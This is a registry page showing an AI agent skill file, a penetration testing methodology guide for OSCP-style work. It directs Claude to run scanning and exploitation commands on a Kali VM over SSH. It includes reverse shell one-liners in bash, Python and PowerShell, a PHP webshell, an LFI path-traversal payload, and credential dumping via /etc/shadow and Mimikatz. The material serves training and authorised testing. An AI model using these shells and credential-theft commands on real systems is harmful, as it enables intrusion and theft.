pentest-workflow
Skill9 starsChanged 7 months agoMITView on GitHub
Penetration testing methodology guide for reconnaissance, enumeration, exploitation, and reporting. Use when the user needs help with network/port scanning, web application testing, privilege escalation, writing pentest reports, CTF challenges, OSCP-style boxes, or creating attack playbooks and checklists. Integrates with Kali MCP for automated pentesting workflows.
1 other project uses a version of this.
Adopted by
Most recently taken up by
- Wang200935/security-agent-skillstheir own version, first seen Aug 11, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- Wang200935/security-agent-skills★ 4same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository140 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- alex-hormozi-pitchSkill
- AlgorithmSkill
- AnnualReportsSkill
- ArtGeneratorSkill
- artSkill
- autoplanSkill
- autoresearchSkill
- benchmarkSkill
- brainstormingSkill
- brand-guidelinesSkill
- brightdataSkill
- browseSkill
- BugHunterSkill
- CallIntelligenceSkill
- canarySkill
- canvasSkill
- carefulSkill
- ceo-advisorSkill
- cfo-advisorSkill
- cmmcSkill
- codebase-indexerSkill
- codexSkill
- CodingAgentSkill
- company-valuesSkill
- connect-chromeSkill
- CORESkill
- system-createcliSkill
- CreateskillSkill
- csoSkill
- cto-advisorSkill
- CybersecurityPlaybooksSkill
- defuddleSkill
- design-consultationSkill
- design-reviewSkill
- DevTeamSkill
- DiscordAdminSkill
- document-releaseSkill
- document-writerSkill
- doraSkill
- dpdpaSkill
- EmailManagerSkill
- executing-plansSkill
- fabricSkill
- fedrampSkill
- ffuf-web-fuzzingSkill
- find-communitySkill
- first-customersSkill
- FirstPrinciplesSkill
- form-croSkill
- freezeSkill
- gdpr-complianceSkill
- git-worktreesSkill
- GovernanceSkill
- grow-sustainablySkill
- gstack-upgradeSkill
- guardSkill
- hipaa-complianceSkill
- investigateSkill
- iso27001Skill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. About 0 are common, 3 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 22
All commands in this skill can be executed on the Kali VM by asking Claude to run them.
- Distinctive: line 203
GTFOBins: Check https://gtfobins.github.io/ for SUID/sudo exploits
- Distinctive: line 222
LOLBAS: Check https://lolbas-project.github.io/ for living-off-the-land
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Pentest Workflow
Structured methodology for penetration testing engagements, CTFs, and certification prep (OSCP/PNPT).
Kali MCP Integration
MCP Server: kali-ssh (configured in ~/.claude/mcp.json)
- Host: 10.0.0.50 (Proxmox VM — configure your Kali IP)
- User: youruser
- Status: Configure in mcp.json
Usage: All commands in this skill can be executed on the Kali VM by asking Claude to run them. Simply say:
- "Run nmap scan on [target] using Kali"
- "Execute gobuster on [URL] via Kali"
- "Check for SUID binaries on Kali"
Claude will automatically execute commands on your Kali system via the MCP SSH connection.
Methodology Overview
1. RECON → 2. ENUM → 3. EXPLOIT → 4. POST-EXPLOIT → 5. REPORT
↓ ↓ ↓ ↓ ↓
Passive Services Initial PrivEsc Document
+ Active + Vulns Access + Loot FindingsPhase 1: Reconnaissance
Passive Recon
# DNS enumeration
whois <domain>
dig any <domain>
host -t any <domain>
dnsrecon -d <domain>
# Subdomain discovery
subfinder -d <domain> -o subs.txt
amass enum -passive -d <domain>
# OSINT
theHarvester -d <domain> -b allActive Recon
# Host discovery
nmap -sn 10.10.10.0/24 -oG hosts.txt
netdiscover -r 10.10.10.0/24
# Full TCP scan (save time with staged approach)
nmap -p- --min-rate 10000 -oN ports.txt <IP>
nmap -sC -sV -p <ports> -oN detailed.txt <IP>
# UDP quick scan (top 20 ports)
nmap -sU --top-ports 20 -oN udp.txt <IP>Phase 2: Enumeration
Port-Based Enumeration
Enumerate based on discovered services. See references/service-enum.md for comprehensive commands per service.
| Port | Service | Quick Check |
| 21 | FTP | ftp <IP> (try anonymous) |
| 22 | SSH | Banner grab, check version vulns |
| 25 | SMTP | smtp-user-enum, relay tests |
| 53 | DNS | Zone transfer: dig axfr @<IP> <domain> |
| 80/443 | HTTP(S) | See Web Enumeration below |
| 88 | Kerberos | Kerbrute, AS-REP roasting |
| 110/143 | POP3/IMAP | Check for cleartext auth |
| 135 | RPC | rpcclient -U "" <IP> |
| 139/445 | SMB | See SMB Enumeration below |
| 389/636 | LDAP | ldapsearch, AD enumeration |
| 1433 | MSSQL | impacket-mssqlclient |
| 3306 | MySQL | mysql -h <IP> -u root |
| 3389 | RDP | Check NLA, BlueKeep |
| 5985 | WinRM | evil-winrm if creds |
SMB Enumeration
# Null session enumeration
smbclient -L //<IP> -N
smbmap -H <IP>
enum4linux -a <IP>
crackmapexec smb <IP> --shares -u '' -p ''
# With credentials
smbmap -H <IP> -u '<user>' -p '<pass>'
smbclient //<IP>/<share> -U '<user>%<pass>'Web Enumeration
# Technology fingerprinting
whatweb <URL>
wappalyzer (browser extension)
# Directory/file discovery
gobuster dir -u <URL> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
feroxbuster -u <URL> -w <wordlist> -x php,txt
# Virtual host discovery
gobuster vhost -u <URL> -w <wordlist>
ffuf -w <wordlist> -u <URL> -H "Host: FUZZ.<domain>"
# Vulnerability scanning
nikto -h <URL>
nuclei -u <URL>Phase 3: Exploitation
Searchsploit Workflow
searchsploit <service> <version>
searchsploit -m <exploit-id> # Mirror to current dir
searchsploit -x <exploit-id> # Examine exploitCommon Initial Access Vectors
Web-based:
- SQLi →
sqlmap -u "<URL>?id=1" --dbs - LFI/RFI → Test
?page=../../../etc/passwd - File upload → Bypass filters, webshell
- Deserialization → ysoserial, PHAR
Service-based:
- Anonymous FTP/SMB with sensitive files
- Default/weak credentials
- Known CVEs for service versions
Reverse Shell Cheatsheet
# Listener
nc -lvnp 4444
rlwrap nc -lvnp 4444 # Better shell handling
# Bash
bash -i >& /dev/tcp/<IP>/4444 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP
<?php system($_GET['cmd']); ?>
# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Shell Upgrade
# Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Background with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xtermPhase 4: Post-Exploitation
Linux Privilege Escalation
# Automated enumeration
./linpeas.sh | tee linpeas.out
./linux-smart-enumeration/lse.sh -l 1
# Manual checks (in priority order)
sudo -l # Sudo permissions
find / -perm -4000 2>/dev/null # SUID binaries
cat /etc/crontab # Cron jobs
ls -la /etc/cron*
getcap -r / 2>/dev/null # Capabilities
cat /etc/passwd # Users
ls -la /home/* # Home directories
env # Environment vars
cat /etc/exports # NFS sharesGTFOBins: Check https://gtfobins.github.io/ for SUID/sudo exploits
Windows Privilege Escalation
# Automated enumeration
.\winPEASx64.exe
.\Seatbelt.exe -group=all
# Manual checks
whoami /all # Current user privileges
systeminfo # OS info, patches
net user # Local users
net localgroup administrators # Admin group
icacls "C:\Program Files" # Weak permissions
schtasks /query /fo LIST /v # Scheduled tasks
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer # AlwaysInstallElevatedLOLBAS: Check https://lolbas-project.github.io/ for living-off-the-land
Credential Harvesting
# Linux
cat /etc/shadow
grep -r "password" /var/www/ 2>/dev/null
find / -name "*.conf" -exec grep -l "pass" {} \; 2>/dev/null
# Windows (Mimikatz)
sekurlsa::logonpasswords
lsadump::samPhase 5: Reporting
See references/report-template.md for full OSCP-style report structure.
Finding Documentation Format
For each finding, document:
## [Finding Name]
**Severity:** Critical/High/Medium/Low/Info
**Affected Asset:** <IP/hostname>
**Description:**
Brief explanation of the vulnerability.
**Evidence:**
[Screenshot or command output]
**Steps to Reproduce:**
1. Step one
2. Step two
3. ...
**Impact:**
What an attacker could achieve.
**Remediation:**
How to fix the issue.Resources
scripts/recon.sh- Automated initial reconnaissance scriptreferences/service-enum.md- Detailed per-service enumeration commandsreferences/report-template.md- OSCP-style report templateassets/obsidian-template/- Obsidian vault structure for pentest notes
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

